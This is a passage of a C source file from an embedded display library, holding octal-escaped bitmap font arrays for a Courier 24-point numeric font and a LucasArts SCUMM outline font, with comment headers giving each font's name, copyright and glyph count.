\"|\\304\\4\\0\\0\\0\\0\\0\\4\\304|\\14\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\70\\340\\200\\340\\70\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\374\"\n  \"\\4\\4\\0\\0\\300@\\300\\0\\0\\4\\4\\374\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\77\\340\\60\\36\\3\\0\\3\\36\"\n  \"\\60\\340\\77\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\"\n  \"\\34\\64d\\300\\200\\0\\200\\300d\\64\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\260\\230\\14\\7\\3\\7\\14\"\n  \"\\230\\260\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\34\"\n  \"t\\304\\4\\0\\0\\0\\0\\0\\4\\304t\\34\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\34p\\300p\\34\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0     \\70/! \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"<\\4\\4\\4\\4\\204\\304d\\64\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\230\\214\\206\\203\\200\\200\"\n  \"\\200\\200\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\60\\30\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\300\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\14\\10\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\30\\60\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\14\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"` \\60\\60`@\\300\\200\\0\\200\\300`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Medium-R-Normal--34-240-100-100-M-200-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 18/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courR24_3x4_n[2596] U8X8_FONT_SECTION(\"u8x8_font_courR24_3x4_n\") = \n  \" :\\3\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\6\\4\\204\\314x\\37x\\314\\204\\4\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\3\\0\\0\\0\\0\\0\"\n  \"\\3\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\377\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340`\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\37\\7\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\34\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\\36\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@@@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\370\\7\\1\\0\\0\\0\\0\\0\\1\\7\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\360\\200\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\2\\2\\2\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@@@@@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\200\\300p\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\14\\6\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\0\\0\\200\\200\\200\\200@!\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\201\\302|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\2\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200@\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200`\\60\\14\\6\\1\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\13\\11\\10\\10\\10\\10\\10\\10\"\n  \"\\377\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300@@@@@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377@@`  `@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\343>\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@@\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\360\\34\\307A`   `@\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\301\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300@@@@@@@@@\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\360\\36\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300|\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@@@@@\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\36\\63@\\300\\200\\200\\200\\300@\\63\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|\\307\\1\\1\\0\\0\\0\\1\"\n  \"\\1\\307|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@@\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"~\\303\\0\\0\\0\\0\\0\\0\\200\\301\\77\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\2\\2\\3\\201\"\n  \"\\301`\\34\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0`\\360\\360\\360`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-LucasArts SCUMM   Subtitle   Roman Outline-Medium-R-Normal--32-320-72-72-P-107-ISO10646-1\n  Copyright: Copyright Goatmeal 2013  \u001cLucasArts SCUMM - Subtitle - Roman\n  Glyphs: 89/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_f[7076] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_o_2x2_f\") = \n  \" \\374\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0~\\303\\1\\1\\303~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\22\\22\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\21\\21\\37\\37\\21\\21\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\21\\21\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\276\\222\\302b>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300@@@@@@@\\300\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\22\\22\\36\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\214\\306c\\61\\37\\0\\0\\0\\0\\0\\37\\21\\30\\14\\6\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\1\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\"\n  \"\\1\\0\\0\\0\\34\\26\\363\\1\\1\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\24\\27\\20\\20\\27\\24\\34\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\26\\23\\231\\315e=\\231\\303f<\\0\\0\\0\\0\\0\\34\\26\\23\\21\\24\\26\\27\\25\\24\\24\\34\\0\"\n  \"\\0\\0\\0\\0\\34\\26\\23\\371\\255\\245\\275\\31C\\346\\274\\0\\0\\0\\0\\0\\7\\15\\31\\23\\26\\24\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\230\\314\\346\\363\\1\\1\\377\\200\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\36\\20\\20\\36\\3\\0\"\n  \"\\0\\0\\0\\0\\177AA]UU\\325\\225\\65e\\307\\0\\0\\0\\0\\0\\7\\15\\31\\23\\26\\24\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\374\\6\\3\\231\\335U\\335\\231\\63v\\334\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\5\\5\\345\\65\\35\\315e\\61\\31\\17\\0\\0\\0\\0\\0\\0\\0\\0\\37\\20\\20\\37\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\274\\346C\\31\\275\\245\\275\\31C\\346\\274\\0\\0\\0\\0\\0\\7\\14\\30\\23\\27\\24\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0|\\306\\203\\71mEm\\71\\3\\6\\374\\0\\0\\0\\0\\0\\7\\15\\31\\23\\27\\25\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0xHHx\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\11\\11\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0xHHx\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77)\\61\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\26\\23\\231\\315e=\\231\\303f<\\0\\0\\0\\0\\0\\0\\0\\0\\37\\24\\24\\37\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\70\\16CqqG\\34p\\300\\0\\0\\0\\34\\26\\23\\20\\24\\37\\1\\1\\1\\1\\37\\24\"\n  \"\\21\\27\\34\\0\\7\\375\\1\\1\\275\\275\\231\\3f\\374\\200\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\24\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\31\\63!\\77\\0\\0\\0\\0\\1\\7\\14\\30\\23\\26\\24\\26\\22\\33\\15\\7\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\0\\34\\27\\20\\20\\27\\24\\26\\23\\30\\14\\7\\1\"\n  